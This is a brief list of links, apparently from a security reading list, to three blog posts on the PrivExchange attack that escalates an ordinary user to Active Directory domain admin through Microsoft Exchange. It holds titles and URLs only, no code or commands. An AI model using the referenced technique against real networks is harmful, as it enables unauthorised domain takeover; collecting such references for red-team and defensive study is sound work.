* [[PrivExchange] From user to domain admin in less than 60sec ! - davy](http://blog.randorisec.fr/privexchange-from-user-to-domain-admin-in-less-than-60sec/)
|
||
* [Abusing Exchange: One API call away from Domain Admin - Dirk-jan Mollema](https://dirkjanm.io/abusing-exchange-one-api-call-away-from-domain-admin)
|
||
* [Red Teaming Made Easy with Exchange Privilege Escalation and PowerPriv - Thursday, January 31, 2019 - Dave](http://blog.redxorblue.com/2019/01/red-teaming-made-easy-with-exchange.html)
|